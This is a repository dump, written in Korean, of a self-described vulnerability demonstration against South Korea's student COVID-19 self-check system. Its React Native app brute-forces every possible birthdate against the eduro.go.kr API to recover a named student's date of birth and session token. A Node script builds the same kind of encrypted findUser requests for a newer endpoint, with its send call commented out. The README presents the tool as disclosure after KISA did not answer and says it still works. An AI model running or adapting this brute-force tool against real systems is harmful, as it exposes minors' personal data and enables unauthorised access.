├── .gitignore ├── Examples ├── README.md └── SelfCheck │ ├── .expo-shared │ └── assets.json │ ├── .gitignore │ ├── App.tsx │ ├── README.md │ ├── app.json │ ├── assets │ ├── background.jpg │ ├── favicon.png │ ├── icon.png │ └── splash.png │ ├── babel.config.js │ ├── package-lock.json │ ├── package.json │ ├── tsconfig.json │ └── yarn.lock ├── LICENSE ├── NewHcs ├── NewHcs.html ├── index.js ├── package-lock.json └── package.json ├── README.md ├── Success_Tool.PNG ├── selfCheckHomeHTML.png └── 자가진단 취약점 보고서.pptx /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules -------------------------------------------------------------------------------- /Examples/README.md: -------------------------------------------------------------------------------- 1 | # 🚨 경고 2 | * 여기에 있는 취약점 시연도구는 현재도 동작하고 있습니다. 3 | * 이 도구들을 이용하여 사용자의 개인정보를 탈취하는 행위는 명백한 불법입니다. 4 | * 이 도구를 이용하여 발생한 모든 법적 책임은 본인에게 있습니다. 5 | * 9월 경, KISA에 해당 취약점을 통보하였으나 별 다른 답장 및 조치가 없는 관계로 보안의식 환기 및 교육 목적을 위해 오픈소스로 공개되었습니다. 6 | * 이후, 교육부의 권고 및 안내사항 `정보통신망법 제44조의2(정보의 삭제요청 등)`에 따라 해당 취약점으로 인한 피해자가 발생할 경우, 해당 취약점 시연도구는 잠정적으로 공개가 중단됩니다. -------------------------------------------------------------------------------- /Examples/SelfCheck/.expo-shared/assets.json: -------------------------------------------------------------------------------- 1 | { 2 | "12bb71342c6255bbf50437ec8f4441c083f47cdb74bd89160c15e4f43e52a1cb": true, 3 | "40b842e832070c58deac6aa9e08fa459302ee3f9da492c7e77d93d2fbf4a56fd": true 4 | } 5 | -------------------------------------------------------------------------------- /Examples/SelfCheck/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules/**/* 2 | .expo/* 3 | npm-debug.* 4 | *.jks 5 | *.p8 6 | *.p12 7 | *.key 8 | *.mobileprovision 9 | *.orig.* 10 | web-build/ 11 | 12 | # macOS 13 | .DS_Store 14 | -------------------------------------------------------------------------------- /Examples/SelfCheck/App.tsx: -------------------------------------------------------------------------------- 1 | import { StatusBar } from 'expo-status-bar' 2 | import React from 'react' 3 | import { StyleSheet, Text, View, Image, ToastAndroid, FlatList } from 'react-native' 4 | import { TextInput, Button, Card, Portal, Dialog, Paragraph, Provider, List } from 'react-native-paper' 5 | import DropDownPicker from "react-native-dropdown-picker" 6 | import Axios, { AxiosResponse } from "axios" 7 | 8 | interface states { 9 | Locale: string 10 | StudentName: string 11 | SchoolName: string 12 | BirthYear: string 13 | isLoading: boolean 14 | Students: Array 15 | ShowingModal: boolean 16 | detailSchools:Array 17 | ShowingModal_SelectSchool:boolean 18 | onSelectDetailSchool:(Item:SchoolDetail) => void 19 | } 20 | 21 | interface StudentInfo { 22 | Name: string, 23 | Birthday: string, 24 | SchoolName:string, 25 | Token: string 26 | } 27 | 28 | interface SchoolDetail{ 29 | Name:string, 30 | Code:string 31 | } 32 | 33 | export default class App extends React.Component{ 34 | componentWillMount() { 35 | this.setState({ 36 | Locale: "", 37 | StudentName: "", 38 | SchoolName: "", 39 | BirthYear: "", 40 | isLoading: false, 41 | Students: [], 42 | ShowingModal: false, 43 | ShowingModal_SelectSchool:false, 44 | detailSchools:[] 45 | }) 46 | } 47 | 48 | render() { 49 | return ( 50 | 51 | 52 | 53 | 54 | 55 | this.setState({ Locale: value.value })} 58 | items={[ 59 | { label: '서울', value: 'sen' }, 60 | { label: '부산', value: 'pen' }, 61 | { label: '대구', value: 'dge' }, 62 | { label: '인천', value: 'ice' }, 63 | { label: '광주', value: 'gen' }, 64 | { label: '대전', value: 'dje' }, 65 | { label: '울산', value: 'use' }, 66 | { label: '세종', value: 'sje' }, 67 | { label: '경기', value: 'goe' }, 68 | { label: '강원', value: 'kwe' }, 69 | { label: '충북', value: 'cbe' }, 70 | { label: '충남', value: 'cne' }, 71 | { label: '전북', value: 'jbe' }, 72 | { label: '전남', value: 'jne' }, 73 | { label: '경북', value: 'gbe' }, 74 | { label: '경남', value: 'gne' }, 75 | { label: '제주', value: 'jje' } 76 | ]} 77 | /> 78 | 79 | this.setState({ SchoolName: text })} 84 | /> 85 | 86 | this.setState({ StudentName: text })} 91 | /> 92 | 93 | this.setState({ BirthYear: text })} 98 | /> 99 | 100 | 107 | 110 | 111 | 112 | 113 | 114 | { this.setState({ ShowingModal: false }) }} style={{height:"70%", display:"flex"}}> 115 | 실시간 결과 / 기록 116 | 117 | 118 | 119 | keyExtractor={(item, index) => item.Name} 120 | renderItem={({ item }) => } 121 | data={this.state.Students} 122 | style={{height:"100%", width:"100%"}} 123 | /> 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 학교를 선택하세요 136 | 137 | 138 | 139 | keyExtractor={(item, index) => item.Name} 140 | renderItem={({ item }) => { 141 | this.state.onSelectDetailSchool(item) 142 | this.setState({ShowingModal_SelectSchool:false}) 143 | }}/>} 144 | data={this.state.detailSchools} 145 | style={{height:"100%", width:"100%"}} 146 | /> 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | ) 156 | } 157 | 158 | async Hackit(Locale: string, StudentName: string, SchoolName: string, BirthYear: string) { 159 | const BaseUrl = `https://eduro.${Locale}.go.kr` 160 | await Axios({ 161 | headers: { 162 | "accept": 'application/json' 163 | }, 164 | method: "POST", 165 | url: `${BaseUrl}/stv_cvd_co00_004.do`, 166 | params: { schulNm: SchoolName } 167 | }).then(async (SchoolData) => { 168 | if (SchoolData.data.resultSVO.rtnRsltCode == "SUCCESS") { //학교 ID 추출 성공시 169 | if(SchoolData.data.resultSVO.schulCode == "" || SchoolData.data.resultSVO.schulNm == ""){ 170 | await Axios({ 171 | method: "GET", 172 | url: `${BaseUrl}/stv_cvd_co00_003.do`, 173 | params: { schulNm: SchoolName } 174 | }).then((DetailSchoolData) => { 175 | this.setState({detailSchools:this.getSchools(DetailSchoolData), ShowingModal_SelectSchool:true}) 176 | this.setState({onSelectDetailSchool:(Item:SchoolDetail) => { 177 | if (BirthYear != "") { this.hack(SchoolData.data.resultSVO.schulNm, SchoolData.data.resultSVO.schulCode, StudentName, BirthYear, BaseUrl) } else { 178 | for (var Year = 1; Year <= 2014; Year++) { 179 | var FormatYear = (Year.toString().length == 1) ? ("0" + Year.toString()).slice(-2) : Year.toString() 180 | this.hack(Item.Name, Item.Code, StudentName, FormatYear, BaseUrl) 181 | } 182 | } 183 | }}) 184 | }) 185 | }else{ 186 | 187 | if (BirthYear != "") { this.hack(SchoolData.data.resultSVO.schulNm, SchoolData.data.resultSVO.schulCode, StudentName, BirthYear, BaseUrl) } else { 188 | for (var Year = 1; Year <= 2014; Year++) { 189 | var FormatYear = (Year.toString().length == 1) ? ("0" + Year.toString()).slice(-2) : Year.toString() 190 | this.hack(SchoolData.data.resultSVO.schulNm, SchoolData.data.resultSVO.schulCode, StudentName, FormatYear, BaseUrl) 191 | } 192 | } 193 | 194 | } 195 | } else { //학교가 나오지 않을 경우 196 | 197 | await Axios({ //상세 리스트로 구하기 198 | method: "GET", 199 | url: `${BaseUrl}/stv_cvd_co00_003.do`, 200 | params: { schulNm: SchoolName } 201 | }).then((DetailSchoolData) => { 202 | const Schools = this.getSchools(DetailSchoolData) 203 | console.log("학교 리스트") 204 | console.log(Schools) 205 | if(Schools.length == 0){ //학교가 전혀 없다면 206 | ToastAndroid.show("찾을 수 없는 학교입니다.", ToastAndroid.SHORT) 207 | this.setState({ isLoading: false }) 208 | return 209 | } 210 | this.setState({detailSchools:this.getSchools(DetailSchoolData), ShowingModal_SelectSchool:true}) 211 | this.setState({onSelectDetailSchool:(Item:SchoolDetail) => { 212 | if (BirthYear != "") { this.hack(SchoolData.data.resultSVO.schulNm, SchoolData.data.resultSVO.schulCode, StudentName, BirthYear, BaseUrl) } else { 213 | for (var Year = 1; Year <= 2014; Year++) { 214 | var FormatYear = (Year.toString().length == 1) ? ("0" + Year.toString()).slice(-2) : Year.toString() 215 | this.hack(Item.Name, Item.Code, StudentName, FormatYear, BaseUrl) 216 | } 217 | } 218 | }}) 219 | }) 220 | 221 | } 222 | }).catch((err) => ToastAndroid.show(`오류 : ${err}`, ToastAndroid.SHORT)) 223 | } 224 | 225 | getSchools(DetailSchoolData:AxiosResponse):Array{ 226 | const DOMParser = require("react-native-html-parser").DOMParser 227 | const Html = new DOMParser().parseFromString(DetailSchoolData.data, "text/html") 228 | console.log(Html.querySelectorAll("a[href='#']")) 229 | var DetailSchoolList:Array = [] 230 | Html.querySelectorAll("a[href=#]").forEach((item:any) => { 231 | console.log(item.rawText) 232 | DetailSchoolList.push({Name:item.text, Code:item.attributes["onclick"].replace("javscript:selectSchul('", "").replace(`, '${item.text}');`, "")}) 233 | }) 234 | return DetailSchoolList 235 | } 236 | 237 | 238 | hack(SchoolName: string, SchoolCode:string, StudentName: string, Year: string, BaseUrl: string) { 239 | for (var Month = 1; Month <= 12; Month++) { 240 | var FormatMonth = (Month.toString().length == 1) ? ("0" + Month.toString()).slice(-2) : Month.toString() 241 | for (var Day = 1; Day <= 32; Day++) { 242 | var FormatDay = (Day.toString().length == 1) ? ("0" + Day.toString()).slice(-2) : Day.toString() 243 | const BruteforceData = { 244 | qstnCrtfcNoEncpt: "", 245 | rtnRsltCode: "", 246 | schulCode: SchoolCode, 247 | schulNm: SchoolName, 248 | pName: StudentName, 249 | aditCrtfcNo: "", 250 | frnoRidno: Year + FormatMonth + FormatDay 251 | } 252 | 253 | Axios({ 254 | headers: { 255 | "accept": 'application/json' 256 | }, 257 | url: `${BaseUrl}/stv_cvd_co00_012.do`, 258 | method: "POST", 259 | params: BruteforceData 260 | }).then((RawData) => { 261 | if (RawData.data.resultSVO.data.rtnRsltCode == "SUCCESS") { 262 | const Data = RawData.data.resultSVO.data 263 | this.setState({isLoading:false, ShowingModal:true}) 264 | ToastAndroid.show("목표를 찾았습니다", ToastAndroid.LONG) 265 | this.setState({ 266 | Students: this.state.Students.concat([{ 267 | Name: Data.pName, 268 | Birthday: Data.frnoRidno, 269 | SchoolName:SchoolName, 270 | Token: Data.qstnCrtfcNoEncpt 271 | }]) 272 | }) 273 | 274 | } 275 | }) 276 | 277 | } 278 | } 279 | } 280 | 281 | 282 | 283 | } 284 | 285 | const styles = StyleSheet.create({ 286 | container: { 287 | flex: 1, 288 | backgroundColor: '#fff', 289 | justifyContent: 'center', 290 | overflow: "scroll", 291 | }, 292 | }) 293 | -------------------------------------------------------------------------------- /Examples/SelfCheck/README.md: -------------------------------------------------------------------------------- 1 | # 자가진단 취약점 시연도구 2 | > 구 자가진단 사이트의 API를 이용한 브루트포스 취약점 자동화 시연도구입니다. 3 | > 이 예제를 악용하여 발생하는 법적 책임은 모두 당사자에게 있습니다. 4 | 5 | 🔑 Features 6 | -------------- 7 | * 사용자의 지역/학교명/나이/이름을 통해 생년월일을 알아낼 수 있음 -------------------------------------------------------------------------------- /Examples/SelfCheck/app.json: -------------------------------------------------------------------------------- 1 | { 2 | "expo": { 3 | "name": "SelfCheck", 4 | "slug": "selfchecksecurity", 5 | "version": "1.0.0", 6 | "orientation": "portrait", 7 | "icon": "./assets/icon.png", 8 | "splash": { 9 | "image": "./assets/splash.png", 10 | "resizeMode": "contain", 11 | "backgroundColor": "#ffffff" 12 | }, 13 | "updates": { 14 | "fallbackToCacheTimeout": 0 15 | }, 16 | "assetBundlePatterns": [ 17 | "**/*" 18 | ], 19 | "android": {}, 20 | "ios": { 21 | "supportsTablet": true 22 | }, 23 | "description": "대한민국 교육부 COVID-19 학생자가진단 시스템 취약점도구" 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /Examples/SelfCheck/assets/background.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ericlee05/Self-Check-Security/c2080f875f6c2dd96f26de6edbabab51d032b927/Examples/SelfCheck/assets/background.jpg -------------------------------------------------------------------------------- /Examples/SelfCheck/assets/favicon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ericlee05/Self-Check-Security/c2080f875f6c2dd96f26de6edbabab51d032b927/Examples/SelfCheck/assets/favicon.png -------------------------------------------------------------------------------- /Examples/SelfCheck/assets/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ericlee05/Self-Check-Security/c2080f875f6c2dd96f26de6edbabab51d032b927/Examples/SelfCheck/assets/icon.png -------------------------------------------------------------------------------- /Examples/SelfCheck/assets/splash.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ericlee05/Self-Check-Security/c2080f875f6c2dd96f26de6edbabab51d032b927/Examples/SelfCheck/assets/splash.png -------------------------------------------------------------------------------- /Examples/SelfCheck/babel.config.js: -------------------------------------------------------------------------------- 1 | module.exports = function(api) { 2 | api.cache(true); 3 | return { 4 | presets: ['babel-preset-expo'], 5 | }; 6 | }; 7 | -------------------------------------------------------------------------------- /Examples/SelfCheck/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "main": "node_modules/expo/AppEntry.js", 3 | "scripts": { 4 | "start": "expo start", 5 | "android": "expo start --android", 6 | "ios": "expo start --ios", 7 | "web": "expo start --web", 8 | "eject": "expo eject" 9 | }, 10 | "dependencies": { 11 | "@leizm/html-parser": "^1.0.0-rc7", 12 | "@types/axios": "^0.14.0", 13 | "@types/fast-html-parser": "^1.0.0", 14 | "axios": "^0.20.0", 15 | "expo": "~38.0.8", 16 | "expo-cli": "^3.24.2", 17 | "expo-status-bar": "^1.0.2", 18 | "fast-html-parser": "^1.0.1", 19 | "metro": "^0.63.0", 20 | "react": "~16.11.0", 21 | "react-dom": "~16.11.0", 22 | "react-native": "https://github.com/expo/react-native/archive/sdk-38.0.2.tar.gz", 23 | "react-native-dropdown-picker": "^3.1.11", 24 | "react-native-html-parser": "^0.1.0", 25 | "react-native-paper": "^4.0.1", 26 | "react-native-picker-select": "^8.0.0", 27 | "react-native-web": "~0.11.7" 28 | }, 29 | "devDependencies": { 30 | "@babel/core": "^7.8.6", 31 | "@types/react": "~16.9.41", 32 | "@types/react-native": "~0.62.13", 33 | "typescript": "~3.9.5" 34 | }, 35 | "private": true 36 | } 37 | -------------------------------------------------------------------------------- /Examples/SelfCheck/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "allowSyntheticDefaultImports": true, 4 | "jsx": "react-native", 5 | "lib": ["dom", "esnext"], 6 | "moduleResolution": "node", 7 | "noEmit": true, 8 | "skipLibCheck": true, 9 | "resolveJsonModule": true, 10 | "strict": true 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 VINTO 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /NewHcs/NewHcs.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 39 | 40 | -------------------------------------------------------------------------------- /NewHcs/index.js: -------------------------------------------------------------------------------- 1 | const superagent = require('superagent') 2 | 3 | const JSEncrypt = require("node-jsencrypt") 4 | 5 | function encrypt (txt) { 6 | const publicKey = "30820122300d06092a864886f70d01010105000382010f003082010a0282010100f357429c22add0d547ee3e4e876f921a0114d1aaa2e6eeac6177a6a2e2565ce9593b78ea0ec1d8335a9f12356f08e99ea0c3455d849774d85f954ee68d63fc8d6526918210f28dc51aa333b0c4cdc6bf9b029d1c50b5aef5e626c9c8c9c16231c41eef530be91143627205bbbf99c2c261791d2df71e69fbc83cdc7e37c1b3df4ae71244a691c6d2a73eab7617c713e9c193484459f45adc6dd0cba1d54f1abef5b2c34dee43fc0c067ce1c140bc4f81b935c94b116cce404c5b438a0395906ff0133f5b1c6e3b2bb423c6c350376eb4939f44461164195acc51ef44a34d4100f6a837e3473e3ce2e16cedbe67ca48da301f64fc4240b878c9cc6b3d30c316b50203010001"; 7 | const pub = new JSEncrypt(); 8 | pub.setPublicKey(publicKey); 9 | return pub.encrypt(txt) 10 | } 11 | 12 | function getJsonForFindUser (org, name, birthday) { 13 | return { 14 | orgCode: org, 15 | name: encrypt(name), 16 | birthday: encrypt(birthday), 17 | stdntPNo: null, 18 | loginType: 'school' 19 | } 20 | } 21 | 22 | function searchSchoolList (loc, name, onFinish) { 23 | const url = `https://hcs.eduro.go.kr/v2/searchSchool?lctnScCode=${loc}&schulCrseScCode=4&orgName=${name}&loginType=school` 24 | superagent.get(encodeURI(url), (err, res) => { 25 | onFinish(res.body) 26 | }) 27 | } 28 | 29 | const localeMap = new Map() 30 | localeMap.set('대구', "03") 31 | 32 | searchSchoolList('03', '고등학교명', (data) => { 33 | const school = data.schulList[0] 34 | const schoolId = school.juOrgCode 35 | 36 | const name = '이름' 37 | const year = '05' 38 | for(let month = 1; month <= 12; month++){ 39 | for(let day = 1; day <= 31; day++){ 40 | const birthday = `${year}${month.toString().padStart(2, '0')}${day.toString().padStart(2, '0')}` 41 | const request = getJsonForFindUser(schoolId, name, birthday) 42 | //console.log(request) 43 | 44 | const url = 'https://dgehcs.eduro.go.kr/v2/findUser' 45 | console.log(request) 46 | /*superagent.post(url).send(request).end((err, res) => { 47 | console.log(res.body) 48 | })*/ 49 | } 50 | } 51 | 52 | //console.log(school) 53 | }) -------------------------------------------------------------------------------- /NewHcs/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "newhcs", 3 | "version": "1.0.0", 4 | "lockfileVersion": 1, 5 | "requires": true, 6 | "dependencies": { 7 | "asynckit": { 8 | "version": "0.4.0", 9 | "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", 10 | "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=" 11 | }, 12 | "combined-stream": { 13 | "version": "1.0.8", 14 | "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", 15 | "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", 16 | "requires": { 17 | "delayed-stream": "~1.0.0" 18 | } 19 | }, 20 | "component-emitter": { 21 | "version": "1.3.0", 22 | "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz", 23 | "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==" 24 | }, 25 | "cookiejar": { 26 | "version": "2.1.2", 27 | "resolved": "https://registry.npmjs.org/cookiejar/-/cookiejar-2.1.2.tgz", 28 | "integrity": "sha512-Mw+adcfzPxcPeI+0WlvRrr/3lGVO0bD75SxX6811cxSh1Wbxx7xZBGK1eVtDf6si8rg2lhnUjsVLMFMfbRIuwA==" 29 | }, 30 | "debug": { 31 | "version": "4.3.1", 32 | "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", 33 | "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", 34 | "requires": { 35 | "ms": "2.1.2" 36 | } 37 | }, 38 | "delayed-stream": { 39 | "version": "1.0.0", 40 | "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", 41 | "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk=" 42 | }, 43 | "dom-walk": { 44 | "version": "0.1.2", 45 | "resolved": "https://registry.npmjs.org/dom-walk/-/dom-walk-0.1.2.tgz", 46 | "integrity": "sha512-6QvTW9mrGeIegrFXdtQi9pk7O/nSK6lSdXW2eqUspN5LWD7UTji2Fqw5V2YLjBpHEoU9Xl/eUWNpDeZvoyOv2w==" 47 | }, 48 | "fast-safe-stringify": { 49 | "version": "2.0.7", 50 | "resolved": "https://registry.npmjs.org/fast-safe-stringify/-/fast-safe-stringify-2.0.7.tgz", 51 | "integrity": "sha512-Utm6CdzT+6xsDk2m8S6uL8VHxNwI6Jub+e9NYTcAms28T84pTa25GJQV9j0CY0N1rM8hK4x6grpF2BQf+2qwVA==" 52 | }, 53 | "form-data": { 54 | "version": "3.0.1", 55 | "resolved": "https://registry.npmjs.org/form-data/-/form-data-3.0.1.tgz", 56 | "integrity": "sha512-RHkBKtLWUVwd7SqRIvCZMEvAMoGUp0XU+seQiZejj0COz3RI3hWP4sCv3gZWWLjJTd7rGwcsF5eKZGii0r/hbg==", 57 | "requires": { 58 | "asynckit": "^0.4.0", 59 | "combined-stream": "^1.0.8", 60 | "mime-types": "^2.1.12" 61 | } 62 | }, 63 | "formidable": { 64 | "version": "1.2.2", 65 | "resolved": "https://registry.npmjs.org/formidable/-/formidable-1.2.2.tgz", 66 | "integrity": "sha512-V8gLm+41I/8kguQ4/o1D3RIHRmhYFG4pnNyonvua+40rqcEmT4+V71yaZ3B457xbbgCsCfjSPi65u/W6vK1U5Q==" 67 | }, 68 | "get-random-values": { 69 | "version": "1.2.2", 70 | "resolved": "https://registry.npmjs.org/get-random-values/-/get-random-values-1.2.2.tgz", 71 | "integrity": "sha512-lMyPjQyl0cNNdDf2oR+IQ/fM3itDvpoHy45Ymo2r0L1EjazeSl13SfbKZs7KtZ/3MDCeueiaJiuOEfKqRTsSgA==", 72 | "requires": { 73 | "global": "^4.4.0" 74 | } 75 | }, 76 | "global": { 77 | "version": "4.4.0", 78 | "resolved": "https://registry.npmjs.org/global/-/global-4.4.0.tgz", 79 | "integrity": "sha512-wv/LAoHdRE3BeTGz53FAamhGlPLhlssK45usmGFThIi4XqnBmjKQ16u+RNbP7WvigRZDxUsM0J3gcQ5yicaL0w==", 80 | "requires": { 81 | "min-document": "^2.19.0", 82 | "process": "^0.11.10" 83 | } 84 | }, 85 | "inherits": { 86 | "version": "2.0.4", 87 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", 88 | "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" 89 | }, 90 | "lru-cache": { 91 | "version": "6.0.0", 92 | "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", 93 | "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", 94 | "requires": { 95 | "yallist": "^4.0.0" 96 | } 97 | }, 98 | "methods": { 99 | "version": "1.1.2", 100 | "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", 101 | "integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=" 102 | }, 103 | "mime": { 104 | "version": "2.5.2", 105 | "resolved": "https://registry.npmjs.org/mime/-/mime-2.5.2.tgz", 106 | "integrity": "sha512-tqkh47FzKeCPD2PUiPB6pkbMzsCasjxAfC62/Wap5qrUWcb+sFasXUC5I3gYM5iBM8v/Qpn4UK0x+j0iHyFPDg==" 107 | }, 108 | "mime-db": { 109 | "version": "1.46.0", 110 | "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.46.0.tgz", 111 | "integrity": "sha512-svXaP8UQRZ5K7or+ZmfNhg2xX3yKDMUzqadsSqi4NCH/KomcH75MAMYAGVlvXn4+b/xOPhS3I2uHKRUzvjY7BQ==" 112 | }, 113 | "mime-types": { 114 | "version": "2.1.29", 115 | "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.29.tgz", 116 | "integrity": "sha512-Y/jMt/S5sR9OaqteJtslsFZKWOIIqMACsJSiHghlCAyhf7jfVYjKBmLiX8OgpWeW+fjJ2b+Az69aPFPkUOY6xQ==", 117 | "requires": { 118 | "mime-db": "1.46.0" 119 | } 120 | }, 121 | "min-document": { 122 | "version": "2.19.0", 123 | "resolved": "https://registry.npmjs.org/min-document/-/min-document-2.19.0.tgz", 124 | "integrity": "sha1-e9KC4/WELtKVu3SM3Z8f+iyCRoU=", 125 | "requires": { 126 | "dom-walk": "^0.1.0" 127 | } 128 | }, 129 | "ms": { 130 | "version": "2.1.2", 131 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", 132 | "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" 133 | }, 134 | "node-jsencrypt": { 135 | "version": "1.0.0", 136 | "resolved": "https://registry.npmjs.org/node-jsencrypt/-/node-jsencrypt-1.0.0.tgz", 137 | "integrity": "sha1-g//O1BTsvhL+oBfGxYXJv8Sa0Zs=", 138 | "requires": { 139 | "get-random-values": "^1.2.0" 140 | } 141 | }, 142 | "process": { 143 | "version": "0.11.10", 144 | "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz", 145 | "integrity": "sha1-czIwDoQBYb2j5podHZGn1LwW8YI=" 146 | }, 147 | "qs": { 148 | "version": "6.9.6", 149 | "resolved": "https://registry.npmjs.org/qs/-/qs-6.9.6.tgz", 150 | "integrity": "sha512-TIRk4aqYLNoJUbd+g2lEdz5kLWIuTMRagAXxl78Q0RiVjAOugHmeKNGdd3cwo/ktpf9aL9epCfFqWDEKysUlLQ==" 151 | }, 152 | "readable-stream": { 153 | "version": "3.6.0", 154 | "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", 155 | "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", 156 | "requires": { 157 | "inherits": "^2.0.3", 158 | "string_decoder": "^1.1.1", 159 | "util-deprecate": "^1.0.1" 160 | } 161 | }, 162 | "safe-buffer": { 163 | "version": "5.2.1", 164 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", 165 | "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" 166 | }, 167 | "semver": { 168 | "version": "7.3.4", 169 | "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.4.tgz", 170 | "integrity": "sha512-tCfb2WLjqFAtXn4KEdxIhalnRtoKFN7nAwj0B3ZXCbQloV2tq5eDbcTmT68JJD3nRJq24/XgxtQKFIpQdtvmVw==", 171 | "requires": { 172 | "lru-cache": "^6.0.0" 173 | } 174 | }, 175 | "string_decoder": { 176 | "version": "1.3.0", 177 | "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", 178 | "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", 179 | "requires": { 180 | "safe-buffer": "~5.2.0" 181 | } 182 | }, 183 | "superagent": { 184 | "version": "6.1.0", 185 | "resolved": "https://registry.npmjs.org/superagent/-/superagent-6.1.0.tgz", 186 | "integrity": "sha512-OUDHEssirmplo3F+1HWKUrUjvnQuA+nZI6i/JJBdXb5eq9IyEQwPyPpqND+SSsxf6TygpBEkUjISVRN4/VOpeg==", 187 | "requires": { 188 | "component-emitter": "^1.3.0", 189 | "cookiejar": "^2.1.2", 190 | "debug": "^4.1.1", 191 | "fast-safe-stringify": "^2.0.7", 192 | "form-data": "^3.0.0", 193 | "formidable": "^1.2.2", 194 | "methods": "^1.1.2", 195 | "mime": "^2.4.6", 196 | "qs": "^6.9.4", 197 | "readable-stream": "^3.6.0", 198 | "semver": "^7.3.2" 199 | } 200 | }, 201 | "util-deprecate": { 202 | "version": "1.0.2", 203 | "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", 204 | "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" 205 | }, 206 | "yallist": { 207 | "version": "4.0.0", 208 | "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", 209 | "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" 210 | } 211 | } 212 | } 213 | -------------------------------------------------------------------------------- /NewHcs/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "newhcs", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "start": "node ./index.js", 8 | "test": "echo \"Error: no test specified\" && exit 1" 9 | }, 10 | "author": "", 11 | "license": "ISC", 12 | "dependencies": { 13 | 